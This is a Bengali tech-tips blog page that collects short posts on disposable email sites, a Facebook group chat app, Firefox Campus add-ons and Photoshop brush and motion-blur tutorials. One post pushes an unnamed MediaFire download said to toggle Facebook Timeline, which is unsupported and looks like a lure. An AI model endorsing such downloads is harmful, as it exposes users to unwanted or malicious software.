আমাদের অনেক সময় বিভিন্ন সাইটে রেজিস্ট্রেশন করার দরকার পরে। তখন অনেকেই হয়ত বাধ্য হয়ে সেখানে নিজের প্রয়োজনীয় Gmail/Yahoo/Hotmail ঠিকানাটি শেয়ার করেন। কিন্তু দেখা যায়। পরে সে সাইট থেকে গন্ডায় গন্ডায় SPAM ইমেল আসছে যা খুবই বিরক্তিকর। আপনাদের এই সমস্যা সমাধানের জন্যই আমার আজকের এই থ্রেড।

undefined
প্রথমেই সাইট দুটির ঠিকানা দিয়ে দিচ্ছি:-
http://mailinator.com/
এবং
http://www.yopmail.com/en/
আমি সবসময় এ সাইট দুটি ব্যবহার করি। কারণ,

  • কোন প্রকার রেজিস্ট্রেশনের প্রয়োজন নেই। (শুধু সরাসরি লগইন করবেন)
  • লগইন করার জন্য কোন পাসওয়ার্ড লাগবেনা!
  • যেকোন পছন্দনীয় Username ব্যবহার করা যাবে। (সেটি ব্যবহৃত হোক বা না হোক)!
  • সরাসরি ইনবক্সে প্রবেশ।
  • সকল প্রকার ভাইরাস থেকে মুক্ত। (এটাচমেন্ট সাপোর্ট করে না)


এছাড়া ইনবক্সের ইমেলটি ৮/১০ দিন পর্যন্ত সংরক্ষিত থাকে।

এবার একটু ব্যবহারে নিয়ম জেনে নিন: 
মনে করুন, আপনি

Code:
yourname@mailinator.com
অথবা,

Code:
yourname@yopmail.com
এর ইনবক্স চেক করতে চাচ্ছেন তাহলে-

Code:
http://yourname.mailinator.com
অথবা,

Code:
http://yourname.yopmail.com
এ গেলেই আপনার ইমেল ইনবক্স পেয়ে যাবেন।

group video chat আপনার ফেসবুক বন্ধুদের সাথে

কেমন আছেন সবাই । আসা করি আপনেরা সবাই ভাল আছেন । আমরা সবাই এখেন ফেসবুকের সাথে জরিত
সামাজিক সাইট বললে আমরা প্রথমে ফেসবুক কে ধরে নেই । সকল বন্ধুদের সাথে যোগাযোগ রাখা এটি একটি সুন্দর মাধ্যম  ।
তাই আমি আজ আপনাদের কে ফেসবুকে কিভাবে গ্রুপ চ্যাট করতে হয় তা জানাব ।
অনেকে এ বিষয় জানতে পারেন –
তো চলুন তাহলে ।
প্রথমে আপনি আপনার ফেসবুক এ লগইন করে নিন ।
এবার নিচের লিঙ্ক টিতে ক্লিক করুন ।
এখানে ।।।
undefined
এবার connect with Facebook এ ক্লিক  করুন ।
গো টু এ্যাপস্ এ যান আর এলাও করুন ।
undefined
তারপর যদি সব কিছু ঠিক থাকে তো নিচের ছবিটির মত শেয়ার বক্স আসবে ।
undefined
এবং আপশেয়ার লিং আপনাদের বনধুদের মধ্যে শেয়ার করুন এবং উপভোগ করুন FAcebook গুরুপ  Chat
এখানে পাবেন একটি Share লিং যেটি মাধ্যমে আপার frind রা গুপ chat যোগদান করবে।
তাহরে এখনি শুরু করুন গ্রুপ চ্যাট –
ধন্যবাদ ।।।।

Timeline >>> অ্যাক্টিভ রাখবেন নাকি রিমুভ করে দিবেন ??



আপনি চাইলে দুটোই করতে পারেন। এর জন্য নিচের লিঙ্ক থেকে সফটটি ডাউনলোড করে নিন। এটির মাধ্যমে আপনি নিজের ইচ্ছা মত টাইমলাইন অ্যাক্টিভ/রিমুভ করতে পারবেন। দেরি না করে একবার চেষ্টা করে দেখুন।

ডাউনলোড লিঙ্ক: http://www.mediafire.com/?uqffu1zevp0qouy
 

ফায়ারফক্স ক্যাম্পাস

ছাত্র-ছাত্রীদের কথা মাথায় রেখে বিশ্বের জনপ্রিয় ওয়েব ব্রাউজার মোজিলা ফায়ারফক্সের রয়েছে একটি বিশেষ সংষ্করণ-ফায়ারফক্স ক্যাম্পাস সংষ্করণমূলত স্কুল, কলেজ বিশ্ববিদ্যালয়ের ছাত্র-ছাত্রীদের কথা বিবেচনা করেই এই সংষ্করণটি ছাড়া হয়েছেগবেষনা সহায়ক টুলের পাশাপাশি এতে গান শোনার জন্যও প্রয়োজনীয় টুল আছে
Foxytunes
বেশির ভাগ ছাত্র-ছাত্রীই কম্পিউটারে কাজ করা বা ইন্টারনেট ব্রাউজিংয়ের সময় গান শুনতে পছন্দ করেনতাদের জন্য মোজিলা ফায়ারফক্সের ক্যাম্পাস সংষ্করনে রয়েছে foxytunesfoxytunes এর মাধ্যমে বিভিন্ন ধরনের মিডিয়া প্লেয়ার নিয়ন্ত্রনের পাশাপাশি আপনাকে গানের লিরিক, অ্যালবামের প্রচ্ছদ, ভিডিও ইত্যাদি খুঁজে পেতে সাহায্য করবেfoxytunes এর মাধ্যমে উইন্ডোজ, ম্যাক এবং লিনাক্সের প্রায় চল্লিশটির বেশি মিডিয়া প্লেয়ার নিয়ন্ত্রন করা যাবে এর মাঝে উল্লেখযোগ্য কয়েকটি হচ্ছে- উইন্ডোজ মিডিয়া প্লেয়ার, আইটিউনস, রিয়েল প্লেয়ার, মিউজিক জুকবক্স, উইন্যাম্প, ইয়াহু মিউজিক জুকবক্স, জেট আডিও ইত্যাদি
ফায়ারফক্সের পাশাপাশি ইন্টারনেট এক্সপ্লোরারেও ফক্সিটিউনস ব্যবহার করা যাবেfoxytunes এর ডাউনলোড এবং সম্পর্কে আরোও বিস্তারিত জানতে চাইলে ক্লিক করুনঃ http://www.foxytunes.com
Zotero
ছাত্র-ছাত্রীদের অনেকেই তাদের গবেষনা সম্পর্কিত কোন তথ্য খুঁজে পেতে ইন্টারনেট ব্যবহার করেনতাই ছাত্র-ছাত্রীদের গবেষনায় সহায়তা করার জন্য ফায়ারফক্সের ক্যাম্পাস সংষ্করনে রয়েছে zoterozotero ইন্টারনেটের দুনিয়ায় ভবিষ্যত প্রজন্মের গবেষনা সহায়ক টুল হিসেবেই বেশি পরিচিত গবেষনা সহায়ক তথ্য খুঁজে পেতে এই সফটওয়্যারটি টুলটি এক কথায় অসাধারনএর মাধ্যমে খুব সহজেই আপনি ইন্টারনেট থেকে গবেষনা সম্পর্কিত বিভিন্ন তথ্য (লেখা, ওয়েব পেইজ কিংবা ছবি) খুঁজে বের করে ভবিষ্যতে ব্যবহারের জন্য তা zotero লাইব্রেরিতে সুন্দরভাবে সাজিয়ে রাখতে পারবেন zotero-এর নির্মাতা হচ্ছে জর্জ ম্যাসন ইউনিভার্সিটির সেন্টার ফর হিস্টোরি এন্ড নিউ মিডিয়াএটি তৈরিতে আর্থিক সহায়তা দিয়েছে যুক্তরাষ্ট্রের ইনস্টিটিউট অব মিউজিয়াম এন্ড লাইব্রেরি সার্ভিসেস সহ আরোও কয়েকটি প্রতিষ্ঠান জোটিরো ইনস্টল করতে আপনার কম্পিউটারে নূন্যতম ফায়ারফক্স সংষ্করণ থাকতে হবেএর আগের সংষ্করণগুলোতে zotero ব্যবহার করা যাবে নাজোটিরো ডাউনলোড এবং সম্পর্কে বিস্তারিত জানতে ভিজিট করুনঃ
http://www.zotero.org

Stumbleupon
সাধারনত আমরা আমাদের আগ্রহের বিষইয়বস্তুর উপর কোন ওয়েব সাইট খুঁজে পেতে ইন্টারনেটের বিভিন্ন সার্চ ইঞ্জিনের সাহায্য নেইকিন্তু অনেক সময় দেখা যায়, সার্চ ইঞ্জিনের মাধ্যমে মানসম্পন্ন ওয়েব সাইট খুঁজে পাওয়া সম্ভব হয় নাতাই ফায়ারফক্স ক্যাম্পাস সংষ্করণে রয়েছে দরকারী ওয়েব সাইট খুঁজে পেতে একটি অসাধারন টুলএই টুলটির নাম stumbleuponএই টুলটির মাধ্যমে খুব সহজেই আপনি আবিষ্কার করতে পারবেন আপনার আগ্রহের বিষয়বস্তুর উপর অসাধারন সব ওয়েবসাইটstumbleupon অনেকটা কমিউনিটির মতোতাই বন্ধুদের আমন্ত্রণ জানিয়ে তাদের শেয়ার করতে পারবেন আপনার আবিষ্কৃত ওয়েব সাইটের খবর আপনার কোন ওয়েব সাইট পছন্দ হলে stumbleupon এর মাধ্যমে আপনি সাইটটি ভিজিটের জন্য পরামর্শ দিতে পারবেনএতে অন্য কেউ এই ওয়েব সাইটের খবর জানতে পারবেনকোন সাইট ভালো না লাগলে আপনি সেই সাইট ভিজিট না করার জন্য অন্যদেরকে উৎসাহিত করতে পারবেন stumbleupon আপনি মোজিলা ফায়ারফক্সের পাশাপাশি ইন্টারনেট এক্সপ্লোরারেও ব্যবহার করতে পারবেনstumbleupon ব্যবহার করতে চাইলে ডাউনলোড করে নিতে পারেনstumbleupon ডাউনলোড এবং সম্পর্কে আরোও বিস্তারিত জানতে চাইলে ক্লিক করুনঃ http://www.stumbleupon.com/
যাদের কম্পিউটারে মোজিলা ফায়ারফক্স ইনস্টল করা আছে তারা শুধু অ্যাড-অনগুলো ডাউনলোড করে ইনস্টল করে নিলেই ক্যাম্পাস সংষ্করণের যাবতীয় সুবিধা ভোগ করতে পারবেনআর যাদের কম্পিউটারে মোজিলা ফায়ারফক্স ইনস্টল করা নেই তারা ফায়ারফক্সের পূর্ণাঙ্গ ক্যাম্পাস সংষ্করণ ডাউনলোড করে নিতে পারেন
ওয়েব সাইটঃ
http://en-us.www.mozilla.com/en-US/add-ons/campus

ফটোসপের ব্রাশ যেভাবে ইনষ্টল করবেন

ব্রাশ কোন .exe ফাইল না তো তাই সেটআপ করতে হয় না। শুধুমাত্র কপি পেষ্ট করতে হয়। নিচে সচিত্র বর্ণনা দিলাম।

ফটোসপের কোন ব্রাশ ডাউনলোড করলে তার এক্সটেনশনে .abr থাকে। তাহলে এটি দেখেই আপনি বুঝতে পারবেন এটি একটি ফটোসপের ব্রাশ। প্রথমে ব্রাশ টিকে কপি করুন। তারপর

C:\Program Files\Adobe\Photoshop CS\Presets\Brushes

এই লোকেশনে গিয়ে পেষ্ট করুন। ব্যাস কাজ শেষ।

তারপর ফটেসপে যান। নতুন ফাইল নিন। ব্রাশটুলটি কোথায় থাকে দেখে নিন

http://www.rongmohol.com/uploads/1805_install_brush.jpg

এখানে ক্লিক করে ব্রাশটুলটি সক্রিয় করে নিন। অথবা কিবোর্ড থেকে B চাপুন। তারপর ফটোসপের ষ্ট্যান্ডার্ড টুলবারের চিহ্নিত অংশে ক্লিক করুন। তারপর ড্রপডাউন মেনু থেকে Load Brushes এ ক্লিক করুন।

http://www.rongmohol.com/uploads/1805_install_brush-2.jpg

তারপর ব্রাশটির লোকেশন অর্থাৎ C:\Program Files\Adobe\Photoshop CS\Presets\Brushes থেকে ব্রাশটিকে ওপেন করুন।

http://www.rongmohol.com/uploads/1805_install_brush-3.jpg

তারপর একেবারে শেষে দেখুন ব্রাশটি চলে এসেছে

http://www.rongmohol.com/uploads/1805_install_brush-4.jpg

আশাকরি পেরেছেন। তারপর সাচ্ছন্দে ব্রাশ ব্যবহার করুন।

আর না পারলে তো আমি আছিই

ফটোসপে গাড়ির স্পিড!!

এটা একটা অনুবাদ টিউটোরিয়াল।

ফটোসপে খুব সহজেই আপনি গাড়ির স্পিড বা গতি দিতে পারেন। প্রথমে ফটোসপে একটা গাড়ির ছবি ওপেন করুন। খেয়াল রাখবেন যাতে গাড়িটি রাস্তাসহ হয়। এখানে ওপেন করা হয়েছে নিচেরটি

http://www.photoshopessentials.com/images/photo-effects/motion-blur/race-car.jpg

তারপর চিত্রের গাড়ির অংশটি ব্লক করে নিন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-selection-outline.jpg

কিবোর্ড থেকে Ctrl+J চাপুন অথবা চিত্রের নির্দেশনা দেখে শুধুমাত্র গাড়ির লেয়ারটি কপি করে নিন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/layer-new-layer-via-copy.gif

নিশ্চিত হয়ে নিন যে, লেয়ার প্যালেটে গাড়ির লেয়ারটি এসেছে

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-layer-mask-thumbnail.gif

তারপর Filter > Blur > Motion Blur এ যান

http://www.photoshopessentials.com/images/photo-effects/motion-blur/selecting-motion-blur.gif

চিত্রের মত মান দিন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-motion-blur-filter.jpg

আপনার ইমেজ এমন হবে

http://www.photoshopessentials.com/images/photo-effects/motion-blur/image-motion-blur.jpg

তারপর এই লেয়ারটিকে ৫ বার কপি করুন। কিবোর্ড থেকে Ctrl+J চেপে।
লেয়ার প্যালেটে যেন ৫ টি কপি থাকে নিশ্চিত হয়ে নিন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/four-copies.gif

আপনার ইমেজ এমন হবে

http://www.photoshopessentials.com/images/photo-effects/motion-blur/image-motion-blur-streaks.jpg

লেয়ার ওয়ান অর্থাৎ প্রথম লেয়ারটি সিলেক্ট করুন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/selecting-multiple-layers.gif

তারপর Layer > Merge Layers এ ক্লিক করুন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-merge-layers.gif

তাহলে লেয়ার প্যালেটে এমন দেখতে পাবেন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-merged-layers.gif

চিত্রের মত করে লেয়ার মাস্ক সংযুক্ত করুন। এখানে আমরা গ্রেডিয়েন্ট টুল ব্যবহার করব।

http://www.photoshopessentials.com/images/photo-effects/motion-blur/add-layer-mask.gif

গ্রেডিয়েন্ট টুল সিলেক্ট করুন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-gradient-tool.gif

চিত্রের মত গ্রেডিয়েন্ট সিলেক্ট করুন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/select-gradient.jpg

তারপর চিত্রে দেখানো ২য় বিন্দু থেকে প্রথম বিন্দুতে ড্র্যাগ করুন

http://www.photoshopessentials.com/images/photo-effects/motion-blur/drag-gradient.jpg

আপনার লেয়ারের অবস্থা

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-layer-mask-thumbnail.gif

এবং আপনার চিত্রের অবস্থা

http://www.photoshopessentials.com/images/photo-effects/motion-blur/photoshop-motion-blur-effect.jpg

আশাকরি ইফেক্টটি দিতে পারবেন।


টিউটোরিয়ালটি অনুবাদ করেছি এখান থেকে।

Facebook Twitter RSS